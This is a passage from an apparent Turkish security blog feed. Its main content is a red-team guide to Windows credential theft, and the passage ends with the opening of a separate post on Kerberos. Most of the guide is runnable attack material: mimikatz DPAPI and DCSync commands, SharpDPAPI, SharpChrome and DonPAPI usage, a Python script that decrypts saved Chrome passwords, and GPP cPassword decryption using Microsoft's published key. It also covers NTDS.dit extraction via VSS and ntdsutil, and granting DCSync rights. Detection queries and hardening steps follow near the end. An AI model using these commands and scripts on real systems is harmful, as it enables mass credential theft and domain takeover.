lsadump::backupkeys /system:DC01.corp.local /export

# 2. SharpDPAPI ile tüm domain kullanıcılarının sırlarını çöz
# (Master key&#39;lerini backup key ile çöz, sonra blob&#39;ları decrypt et)
SharpDPAPI.exe triage /pvk:backup_key.pvk

# Sadece Credential Manager vault girişleri
SharpDPAPI.exe vaults /pvk:backup_key.pvk

# Chrome şifreleri
SharpDPAPI.exe logins /pvk:backup_key.pvk

# Sertifikalar
SharpDPAPI.exe certificates /pvk:backup_key.pvk&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;DonPAPI (Linux&#39;tan)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# Linux saldırı makinasından tüm DPAPI sırları çek
python3 DonPAPI.py corp.local/administrator:&#39;Password123&#39;@10.10.10.10

# Tüm domain&#39;i tara
python3 DonPAPI.py corp.local/administrator:&#39;Password123&#39;@10.10.10.0/24

# Credential dosyaları var mı?
python3 DonPAPI.py corp.local/administrator:&#39;Password123&#39;@10.10.10.10 --credz&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Çevrimdışı DPAPI Analizi&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# Belirli bir DPAPI blob&#39;u çöz
mimikatz: dpapi::blob /in:C:&#92;temp&#92;blob.bin /masterkey:&amp;lt;hex_masterkey&amp;gt;

# Credential dosyası çöz
mimikatz: dpapi::cred /in:C:&#92;Users&#92;jdoe&#92;AppData&#92;Roaming&#92;Microsoft&#92;Credentials&#92;{GUID}

# Master key çöz (kullanıcı şifresi biliniyorsa)
mimikatz: dpapi::masterkey /in:C:&#92;...&#92;{GUID} /password:Password123

# Master key çöz (domain backup key ile)
mimikatz: dpapi::masterkey /in:C:&#92;...&#92;{GUID} /pvk:backup.pvk&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 Sistem Düzeyinde DPAPI&lt;/h3&gt;
&lt;p&gt;Sistem (MACHINE) düzeyindeki DPAPI, SYSTEM hesabı bağlamındaki sırları korur. Şifreleme anahtarı makine SID&#39;inden ve LSA boot key&#39;inden türetilir. Bu sırlar arasında:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Zamanlanmış görev şifreleri&lt;/li&gt;
  &lt;li&gt;Wi-Fi PSK anahtarları (&lt;code&gt;C:&#92;ProgramData&#92;Microsoft&#92;Wlansvc&#92;Profiles&#92;Interfaces&#92;&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;RDP kaydedilmiş bağlantı şifreleri (SYSTEM bağlamında)&lt;/li&gt;
  &lt;li&gt;DPAPI_SYSTEM sırrı (LSA Secrets&#39;ta)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# Sistem DPAPI master key çöz (SYSTEM yetkisiyle)
mimikatz:
privilege::debug
token::elevate
dpapi::masterkey /in:&quot;C:&#92;Windows&#92;System32&#92;Microsoft&#92;Protect&#92;S-1-5-18&#92;{GUID}&quot; /system

# Wi-Fi şifrelerini çöz
netsh wlan export profile folder=C:&#92;temp key=clear
# veya SharpDPAPI:
SharpDPAPI.exe wifi&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Tarayıcı Kimlik Bilgileri&lt;/h2&gt;
&lt;p&gt;Modern tarayıcılar, kullanıcı kolaylığı için şifreleri yerel olarak saklar. Bu depolama mekanizmaları, farklı şifreleme yöntemleri kullansa da sonuçta işletim sistemi düzeyi sırlara (DPAPI veya NSS) dayandığından saldırganlar için değerli hedeflerdir.&lt;/p&gt;
&lt;h3&gt;4.1 Chrome / Edge / Chromium Tabanlı Tarayıcılar&lt;/h3&gt;
&lt;p&gt;Chrome&#39;un şifre depolama mimarisi:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Login Data:&lt;/strong&gt; SQLite veritabanı — &lt;code&gt;%LOCALAPPDATA%&#92;Google&#92;Chrome&#92;User Data&#92;Default&#92;Login Data&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Local State:&lt;/strong&gt; JSON dosyası — &lt;code&gt;%LOCALAPPDATA%&#92;Google&#92;Chrome&#92;User Data&#92;Local State&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Şifreleme:&lt;/strong&gt; AES-256-GCM (Chrome 80+). Şifreleme anahtarı Local State&#39;de DPAPI blob olarak korunmuş.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Şifre çözme akışı:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Local State JSON&#39;dan &lt;code&gt;os_crypt.encrypted_key&lt;/code&gt; alanını al&lt;/li&gt;
  &lt;li&gt;Base64 decode et → &lt;code&gt;DPAPI&#92;x01&lt;/code&gt; prefix&#39;li DPAPI blob&lt;/li&gt;
  &lt;li&gt;CryptUnprotectData() ile DPAPI blob&#39;u çöz → AES-256 anahtarı&lt;/li&gt;
  &lt;li&gt;Login Data SQLite&#39;tan &lt;code&gt;logins&lt;/code&gt; tablosunu sorgula → &lt;code&gt;password_value&lt;/code&gt; sütunu&lt;/li&gt;
  &lt;li&gt;AES-256-GCM ile şifreyi çöz (nonce ilk 12 byte, prefix &lt;code&gt;v10&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# HackBrowserData (cross-platform)
./hack-browser-data -b chrome -o output/
./hack-browser-data -b all -o output/

# SharpChrome (Windows C# tool — SpecterOps)
SharpChrome.exe logins        # tüm kayıtlı giriş bilgileri
SharpChrome.exe cookies       # oturum çerezleri
SharpChrome.exe history       # tarama geçmişi
SharpChrome.exe logins /server:dc01.corp.local  # uzaktan

# Python ile manuel çözme
import sqlite3, json, base64
from Cryptodome.Cipher import AES
import win32crypt

# Local State&#39;den AES anahtarı al
with open(r&#39;%LOCALAPPDATA%&#92;Google&#92;Chrome&#92;User Data&#92;Local State&#39;) as f:
  local_state = json.load(f)
encrypted_key = base64.b64decode(local_state[&#39;os_crypt&#39;][&#39;encrypted_key&#39;])[5:]  # DPAPI prefix&#39;i atla
aes_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

# Login Data&#39;dan şifreli parolaları al
conn = sqlite3.connect(r&#39;%LOCALAPPDATA%&#92;Google&#92;Chrome&#92;User Data&#92;Default&#92;Login Data&#39;)
cursor = conn.execute(&quot;SELECT origin_url, username_value, password_value FROM logins&quot;)
for url, username, encrypted_password in cursor.fetchall():
  nonce = encrypted_password[3:15]   # v10 sonrası: 3 byte prefix + 12 byte nonce
  ciphertext = encrypted_password[15:-16]
  tag = encrypted_password[-16:]
  cipher = AES.new(aes_key, AES.MODE_GCM, nonce)
  plaintext = cipher.decrypt_and_verify(ciphertext, tag)
  print(f&quot;{url} | {username} | {plaintext.decode()}&quot;)

# DonPAPI (Linux&#39;tan, domain kullanıcısı olarak)
python3 DonPAPI.py corp.local/jdoe:&#39;Password123&#39;@10.10.10.50&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.2 Firefox / Firefox Tabanlı Tarayıcılar&lt;/h3&gt;
&lt;p&gt;Firefox, Chromium&#39;dan farklı bir şifreleme altyapısı olan &lt;strong&gt;NSS (Network Security Services)&lt;/strong&gt; kullanır:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;key4.db:&lt;/strong&gt; NSS anahtar veritabanı (SQLite formatı)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;logins.json:&lt;/strong&gt; Şifreli giriş bilgileri (JSON formatı)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Şifreleme:&lt;/strong&gt; 3DES-CBC veya AES-256-CBC, NSS ile&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Master Password:&lt;/strong&gt; Opsiyonel ek koruma. Ayarlanmamışsa makine kimlik materyali kullanılır.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# Firefox profil konumu
# Windows: %APPDATA%&#92;Mozilla&#92;Firefox&#92;Profiles&#92;{profile}.default-release&#92;
# Linux: ~/.mozilla/firefox/{profile}.default-release/

# firefox_decrypt (Python)
python3 firefox_decrypt.py /path/to/firefox/profile/
# Master password sorulacak (yoksa boş bırakın)

# firepwd (Python — eski profiller için de çalışır)
python3 firepwd.py -d /path/to/profile/ -p master_password

# SharpWeb (C# — Windows&#39;tan)
SharpWeb.exe all

# LaZagne (çok tarayıcılı)
python3 laZagne.py browsers
python3 laZagne.py all  # tüm sırlar&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 OPSEC Notu: Tarayıcı Şifrelerine Erişim&lt;/h3&gt;
&lt;p&gt;Chrome&#39;un Login Data dosyası, tarayıcı çalışırken kilitlenir. Dosyayı kopyalayarak analiz yapabilirsiniz:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Chrome çalışırken dosyayı kopyala
copy &quot;%LOCALAPPDATA%&#92;Google&#92;Chrome&#92;User Data&#92;Default&#92;Login Data&quot; C:&#92;temp&#92;LoginData

# Ardından kopyayı analiz et (orijinal kilitli olsa bile)
# SharpChrome kopyalama işlemini otomatik yapar&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Windows Credential Manager (Vault)&lt;/h2&gt;
&lt;p&gt;Windows Credential Manager, ağ kimlik bilgilerini, web sitesi şifrelerini ve genel uygulama kimlik bilgilerini DPAPI korumasıyla saklar. Konum: &lt;code&gt;%APPDATA%&#92;Microsoft&#92;Credentials&#92;&lt;/code&gt; ve &lt;code&gt;%LOCALAPPDATA%&#92;Microsoft&#92;Credentials&#92;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Vault girişleri iki kategoriye ayrılır:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Windows Credentials:&lt;/strong&gt; Ağ paylaşımları, Uzak Masaüstü bağlantıları için kimlik bilgileri&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Certificate-Based Credentials:&lt;/strong&gt; Sertifika tabanlı kimlik bilgileri&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Generic Credentials:&lt;/strong&gt; Uygulama düzeyinde kaydedilmiş kullanıcı adı/şifre çiftleri&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# Komut satırından kayıtlı kimlik bilgilerini listele
cmdkey /list

# PowerShell ile Vault&#39;u oku (Windows Runtime API)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
  $_.RetrievePassword()
  [PSCustomObject]@{
      UserName = $_.UserName
      Resource = $_.Resource
      Password = $_.Password
  }
}

# mimikatz ile Vault sırlarını çöz
vault::list     # tüm vault girişlerini listele
vault::cred /patch   # kimlik bilgilerini çöz

# SharpDPAPI ile
SharpDPAPI.exe vaults
SharpDPAPI.exe credentials

# Fiziksel Credential dosyalarını çöz
# Konum: %APPDATA%&#92;Microsoft&#92;Credentials&#92; ve %LOCALAPPDATA%&#92;Microsoft&#92;Credentials&#92;
dpapi::cred /in:&quot;%APPDATA%&#92;Microsoft&#92;Credentials&#92;{GUID}&quot; /masterkey:&amp;lt;hex&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Credential Manager özellikle değerlidir çünkü kullanıcılar genellikle domain admin hesapları dahil kritik sistem şifrelerini burada kaydeder.&lt;/p&gt;
&lt;h2&gt;6. GPP Credentials (MS14-025)&lt;/h2&gt;
&lt;p&gt;Group Policy Preferences (GPP), sistem yöneticilerinin domain genelinde yapılandırma değişiklikleri yapmasına olanak tanır. 2006-2014 yılları arasında yaygın olarak kullanılan bir özellik, yerel yönetici hesabı oluşturma veya şifre ayarlama için Group Policy XML dosyalarında &lt;code&gt;cPassword&lt;/code&gt; alanını kullanıyordu.&lt;/p&gt;
&lt;p&gt;Bu XML dosyaları SYSVOL&#39;da saklanır ve domain üyesi olan &lt;strong&gt;herkes&lt;/strong&gt; okuyabilir. Microsoft, şifreyi AES-256 ile şifrelemişti — ancak &lt;strong&gt;şifreleme anahtarını da MSDN belgelerinde herkese açık olarak yayınlamıştı&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;Microsoft bu açığı 2014&#39;te MS14-025 yaması ile giderdi (GPP artık cPassword alanını kullanamıyor), ancak &lt;strong&gt;miras konfigürasyonlar hâlâ SYSVOL&#39;da duruyor olabilir&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# SYSVOL&#39;da cPassword içeren XML dosyalarını ara
findstr /S /I cPassword &#92;&#92;CORP.LOCAL&#92;SYSVOL&#92;CORP.LOCAL&#92;Policies&#92;*.xml

# CrackMapExec ile otomatik kontrol
crackmapexec smb 10.10.10.10 -u jdoe -p &#39;Password123&#39; -M gpp_autologin
crackmapexec smb 10.10.10.10 -u jdoe -p &#39;Password123&#39; -M gpp_password

# Metasploit modülü
use post/windows/gather/credentials/gpp
use auxiliary/scanner/smb/smb_enumgpp

# Impacket ile
python3 Get-GPPPassword.py corp.local/jdoe:&#39;Password123&#39;@10.10.10.10

# PowerSploit ile (eski ama hâlâ işe yarar)
Get-GPPPassword
Get-GPPAutologon

# Python ile manuel decrypt (AES CBC, public key!)
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad

# Microsoft&#39;ın yayınladığı AES anahtarı (32 byte)
key = bytes.fromhex(&#39;4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b&#39;)

def decrypt_gpp_password(cpassword):
  # Base64 padding düzelt
  padding = len(cpassword) % 4
  if padding:
      cpassword += &#39;=&#39; * (4 - padding)
  decoded = base64.b64decode(cpassword)
  # AES-256-CBC, IV = 0
  iv = b&#39;&#92;x00&#39; * 16
  cipher = AES.new(key, AES.MODE_CBC, iv)
  decrypted = unpad(cipher.decrypt(decoded), 16)
  return decrypted.decode(&#39;utf-16-le&#39;)

# GPP XML&#39;den cPassword değerini alın ve decrypt edin
cpassword = &quot;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+srsIA&quot;
print(decrypt_gpp_password(cpassword))&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.1 GPP Güvenlik Açığının Kapsamı&lt;/h3&gt;
&lt;p&gt;GPP aracılığıyla şifre içerebilecek XML dosya türleri:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Groups.xml:&lt;/strong&gt; Yerel grup üyelikleri ve şifreler&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Services.xml:&lt;/strong&gt; Windows servis yapılandırmaları&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Scheduledtasks.xml:&lt;/strong&gt; Zamanlanmış görev kimlik bilgileri&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Datasources.xml:&lt;/strong&gt; Veritabanı bağlantı bilgileri&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Printers.xml:&lt;/strong&gt; Yazıcı kimlik bilgileri&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Drives.xml:&lt;/strong&gt; Sürücü bağlantısı kimlik bilgileri&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. NTDS.dit Extraction (Domain Hash Çıkarma)&lt;/h2&gt;
&lt;p&gt;NTDS.dit, Active Directory&#39;nin ana veritabanıdır. Domain Controller&#39;da &lt;code&gt;C:&#92;Windows&#92;NTDS&#92;ntds.dit&lt;/code&gt; konumunda bulunur ve tüm domain kullanıcı hesaplarının NT hash&#39;lerini içerir. Bu dosyayı ele geçirmek, tüm domain&#39;in kimlik bilgilerini elde etmek anlamına gelir.&lt;/p&gt;
&lt;h3&gt;7.1 VSS ile NTDS.dit Kopyalama&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# DC&#39;de SYSTEM yetkisiyle VSS snapshot oluştur
vssadmin create shadow /for=C:

# Shadow copy yolunu bul
vssadmin list shadows

# NTDS ve SYSTEM&#39;i kopyala
copy &#92;&#92;?&#92;GLOBALROOT&#92;Device&#92;HarddiskVolumeShadowCopy1&#92;Windows&#92;NTDS&#92;ntds.dit C:&#92;temp&#92;ntds.dit
reg save HKLM&#92;SYSTEM C:&#92;temp&#92;SYSTEM.hive

# Snapshot&#39;ı temizle
vssadmin delete shadows /shadow:{GUID} /quiet

# Hash çıkarma
python3 secretsdump.py -ntds C:&#92;temp&#92;ntds.dit -system C:&#92;temp&#92;SYSTEM.hive LOCAL -outputfile hashes

# Çıktı formatları
python3 secretsdump.py ... -outputfile hashes  # her format için ayrı dosya oluşturur
# hashes.ntds: kullanıcı:UID:LMhash:NThash:::
# hashes.ntds.kerberos: Kerberos anahtarları
# hashes.ntds.cleartext: cleartext şifreler (varsa)&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.2 DCSync (Uzaktan, Ağ Üzerinden)&lt;/h3&gt;
&lt;p&gt;DCSync, gerçek bir NTDS.dit dosyası kopyalamaya gerek kalmadan DC&#39;nin replikasyon protokolünü (DRSUAPI) kullanarak hash çekme tekniğidir. Avantajı: DC&#39;ye fiziksel erişim gerekmez, sadece ağ erişimi ve uygun haklar yeterlidir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gerekli haklar:&lt;/strong&gt; &lt;code&gt;DS-Replication-Get-Changes&lt;/code&gt; ve &lt;code&gt;DS-Replication-Get-Changes-All&lt;/code&gt; (varsayılan olarak Domain Admins ve Domain Controllers&#39;da)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# mimikatz DCSync
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /user:krbtgt  # Golden Ticket için!
lsadump::dcsync /domain:corp.local /all /csv     # tüm hash&#39;ler CSV formatında

# Impacket ile
python3 secretsdump.py corp.local/administrator:&#39;Password123&#39;@DC01.corp.local -just-dc
python3 secretsdump.py -hashes :NT_HASH administrator@DC01.corp.local -just-dc-ntlm

# CrackMapExec ile
crackmapexec smb DC01.corp.local -u administrator -p &#39;Password123&#39; --ntds

# DCSync hakları ver (domain admin gerektirmez, sadece delege edilebilir)
# PowerView ile
Add-DomainObjectAcl -TargetIdentity &quot;DC=corp,DC=local&quot; -PrincipalIdentity jdoe -Rights DCSync&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;7.3 ntdsutil ile (LOLBin)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# ntdsutil — Windows&#39;a yerleşik Active Directory yönetim aracı
ntdsutil &quot;activate instance ntds&quot; &quot;ifm&quot; &quot;create full C:&#92;temp&#92;ntds_backup&quot; &quot;quit&quot; &quot;quit&quot;

# Bu komut C:&#92;temp&#92;ntds_backup&#92; altında:
# Active Directory&#92;ntds.dit
# registry&#92;SYSTEM
# dosyalarını oluşturur

# Hash çıkarma
python3 secretsdump.py -ntds &quot;C:&#92;temp&#92;ntds_backup&#92;Active Directory&#92;ntds.dit&quot; -system &quot;C:&#92;temp&#92;ntds_backup&#92;registry&#92;SYSTEM&quot; LOCAL&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8. OPSEC Değerlendirmesi ve Tespit Rehberi&lt;/h2&gt;
&lt;img src=&quot;https://tagmachan.com/assets/img/blog/credential-techniques-matrix.svg&quot; alt=&quot;Credential Access Techniques Comparison Matrix&quot; style=&quot;width:100%;border-radius:6px;margin:1.5rem 0;&quot; /&gt;
&lt;h3&gt;8.1 Kritik Windows Olay Kimlikleri&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Event 4611:&lt;/strong&gt; Güvenilir bir oturum açma süreci LSASS&#39;a kaydedildi&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Event 4625:&lt;/strong&gt; Başarısız oturum açma girişimi&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Event 4661:&lt;/strong&gt; SAM, NTDS veya SECURITY nesnesine handle açıldı&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Event 4662:&lt;/strong&gt; Active Directory nesnesinde işlem yapıldı (DCSync için kritik)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Event 4688:&lt;/strong&gt; Yeni process oluşturuldu (mimikatz.exe tespiti)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Event 4698/4699:&lt;/strong&gt; Zamanlanmış görev oluşturuldu/silindi&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sysmon Event 10:&lt;/strong&gt; ProcessAccess — lsass.exe&#39;ye handle açma tespiti&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sysmon Event 11:&lt;/strong&gt; FileCreate — .dmp dosyası oluşturma&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sysmon Event 12/13:&lt;/strong&gt; RegistryEvent — WDigest registry değişikliği&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8.2 Sysmon Konfigürasyonu (LSASS Koruması)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- sysmonconfig.xml -- lsass process access tespiti --&amp;gt;
&amp;lt;ProcessAccess onmatch=&quot;include&quot;&amp;gt;
&amp;lt;TargetImage condition=&quot;is&quot;&amp;gt;C:&#92;Windows&#92;system32&#92;lsass.exe&amp;lt;/TargetImage&amp;gt;
&amp;lt;/ProcessAccess&amp;gt;

&amp;lt;!-- Sonuç: her LSASS handle açılışı Event 10 olarak loglanır --&amp;gt;
&amp;lt;!-- KorelasyonKural: çok sayıda Event 10 = credential dump girişimi --&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;8.3 LSASS Erişim Tespiti (KQL — Microsoft Sentinel)&lt;/h3&gt;
&lt;pre&gt;&lt;code&quot;&gt;// LSASS Memory Access Detection
SecurityEvent
| where EventID == 10  // Sysmon ProcessAccess
| where TargetImage contains &quot;lsass.exe&quot;
| where not(InitiatingProcessName in~ (&quot;svchost.exe&quot;, &quot;wininit.exe&quot;, &quot;csrss.exe&quot;))
| project TimeGenerated, Computer, InitiatingProcessName, InitiatingProcessCommandLine, TargetImage, GrantedAccess
| order by TimeGenerated desc

// DCSync Detection (Event 4662)
SecurityEvent
| where EventID == 4662
| where Properties has &quot;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2&quot;  // DS-Replication-Get-Changes-All
 or Properties has &quot;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2&quot;
| where SubjectUserName != &quot;DOMAIN_CONTROLLER$&quot;
| project TimeGenerated, Computer, SubjectUserName, ObjectName, Properties&lt;/code&quot;&gt;&lt;/pre&gt;
&lt;h2&gt;9. Savunma Önlemleri&lt;/h2&gt;
&lt;h3&gt;9.1 LSASS Koruması&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# PPL (Protected Process Light) etkinleştir
reg add &quot;HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Lsa&quot; /v RunAsPPL /t REG_DWORD /d 1 /f

# Credential Guard GPO yolu:
# Computer Configuration &gt; Administrative Templates &gt; System &gt;
# Device Guard &gt; Turn On Virtualization Based Security
# + Credential Guard Configuration: Enable with UEFI lock

# WDigest&#39;i devre dışı bırak (zaten kapalı olmalı, zorla kapat)
reg add &quot;HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;SecurityProviders&#92;WDigest&quot; /v UseLogonCredential /t REG_DWORD /d 0 /f&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9.2 Audit Policy&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Gelişmiş denetim politikası yapılandırması
auditpol /set /subcategory:&quot;Credential Validation&quot; /success:enable /failure:enable
auditpol /set /subcategory:&quot;Security Account Manager&quot; /success:enable
auditpol /set /subcategory:&quot;Directory Service Access&quot; /success:enable /failure:enable
auditpol /set /subcategory:&quot;Logon&quot; /success:enable /failure:enable

# Sysmon kurulumu (SwiftOnSecurity config)
# https://github.com/SwiftOnSecurity/sysmon-config
sysmon.exe -accepteula -i sysmonconfig.xml&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9.3 GPP Temizliği&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# SYSVOL&#39;da GPP şifrelerini tara
findstr /S /I cPassword &#92;&#92;CORP.LOCAL&#92;SYSVOL&#92;CORP.LOCAL&#92;Policies&#92;*.xml

# Bulunan XML dosyalarından cPassword alanlarını temizle
# Bulunan hesapların şifrelerini değiştir

# MS14-025 patch zaten uygulanmış olmalı — kontrol et:
wmic qfe get HotFixID | findstr KB2962486&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9.4 DPAPI Güvenlik Hardening&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;Domain backup key&#39;i düzenli olarak değiştirin (en az yılda bir)&lt;/li&gt;
  &lt;li&gt;Kritik sırları DPAPI yerine HSM veya Azure Key Vault&#39;a taşıyın&lt;/li&gt;
  &lt;li&gt;DCSync hakları için Privileged Identity Management (PIM) kullanın&lt;/li&gt;
  &lt;li&gt;Microsoft Defender for Identity (MDI) ile DCSync ve Golden Ticket tespiti yapın&lt;/li&gt;
  &lt;li&gt;Tier model uygulayın: Domain Admin hesapları sadece DC&#39;de kullanılsın&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;10. Referanslar ve Kaynaklar&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Benjamin Delpy (gentilkiwi):&lt;/strong&gt; mimikatz — &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz&quot;&gt;github.com/gentilkiwi/mimikatz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SpecterOps:&lt;/strong&gt; SharpDPAPI, SharpChrome — &lt;a href=&quot;https://github.com/GhostPack&quot;&gt;github.com/GhostPack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Impacket (SecureAuth):&lt;/strong&gt; secretsdump.py, dpapi.py — &lt;a href=&quot;https://github.com/fortra/impacket&quot;&gt;github.com/fortra/impacket&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;MITRE ATT&amp;CK:&lt;/strong&gt; T1003 OS Credential Dumping — &lt;a href=&quot;https://attack.mitre.org/techniques/T1003/&quot;&gt;attack.mitre.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;MS14-025:&lt;/strong&gt; GPP Credentials Advisory — &lt;a href=&quot;https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025&quot;&gt;Microsoft Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;harmj0y:&lt;/strong&gt; DPAPI Primer — &lt;a href=&quot;https://blog.harmj0y.net/&quot;&gt;blog.harmj0y.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mark Russinovich:&lt;/strong&gt; ProcDump, Sysinternals Suite&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;gentilkiwi:&lt;/strong&gt; DPAPI avec domaine — mimikatz wiki&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Kerberos Protokolü İçselleştirme: Biletler, PAC ve Güvenlik Etkileri</title>
    <link href="https://tagmachan.com/kerberos-protokolu-icsellestirme-biletler-pac-ve-guvenlik-etkileri.tagox"/>
    <updated>2026-06-29T11:00:00Z</updated>
    <id>https://tagmachan.com/kerberos-protokolu-icsellestirme-biletler-pac-ve-guvenlik-etkileri.tagox</id>
    <category term="Security Research"/>
    <summary>Kerberos 5 protokolünün derinlemesine teknik analizi: TGT/TGS yapısı, PAC buffer detayları, şifreleme tipi seçimi, AS değişimi, S4U uzantıları ve Golden/Diamond/Silver Ticket saldırılarının bu yapıları byte seviyesinde nasıl istismar ettiği — Wireshark analizi ve tespit rehberiyle.</summary>
    <content type="html">&lt;h2&gt;Giriş: Kerberos&#39;u Neden Bu Kadar Derinlemesine Anlamalıyız?&lt;/h2&gt;
&lt;p&gt;Kerberos&#39;u gerçekten anlamak, neden altın biletlerin işe yaradığını, neden &lt;code&gt;krbtgt&lt;/code&gt; hesabının &amp;quot;domain&#39;in tanrı anahtarı&amp;quot; olduğunu ve neden bir servis hesabı şifresi çevrimdışı kırılabilir hale geldiğini anlamak demektir. Modern Active Directory saldırılarının büyük çoğunluğu — Golden Ticket, Silver Ticket, Kerberoasting, AS-REP Roasting, Diamond Ticket, Unconstrained Delegation, noPac — doğrudan Kerberos protokolünün iç mekanizmalarını istismar eder.&lt;/p&gt;
&lt;p&gt;Bu yazı, Kerberos protokolünü sıfırdan başlayarak protokol tasarımı perspektifinden ele alıyor; ASN.1 yapılarını, şifreleme seçimlerini, PAC buffer&#39;larını ve her saldırı tekniğinin protokolün tam olarak hangi zayıflığından beslendiğini açıklıyor.&lt;/p&gt;
&lt;h3&gt;Tarihsel Bağlam: MIT Athena&#39;dan RFC 4120&#39;ye&lt;/h3&gt;
&lt;p&gt;Kerberos, 1988 yılında MIT&#39;nin Project Athena kapsamında geliştirildi. Temel problem şuydu: kampüs genelinde paylaşılan iş istasyonlarında kullanıcıların şifrelerini ağ üzerinden göndermeden kimlik doğrulaması nasıl yapılır? Çözüm, güvenilir bir üçüncü taraf (Kerberos sunucusu) aracılığıyla bilet tabanlı kimlik doğrulamaydı.&lt;/p&gt;
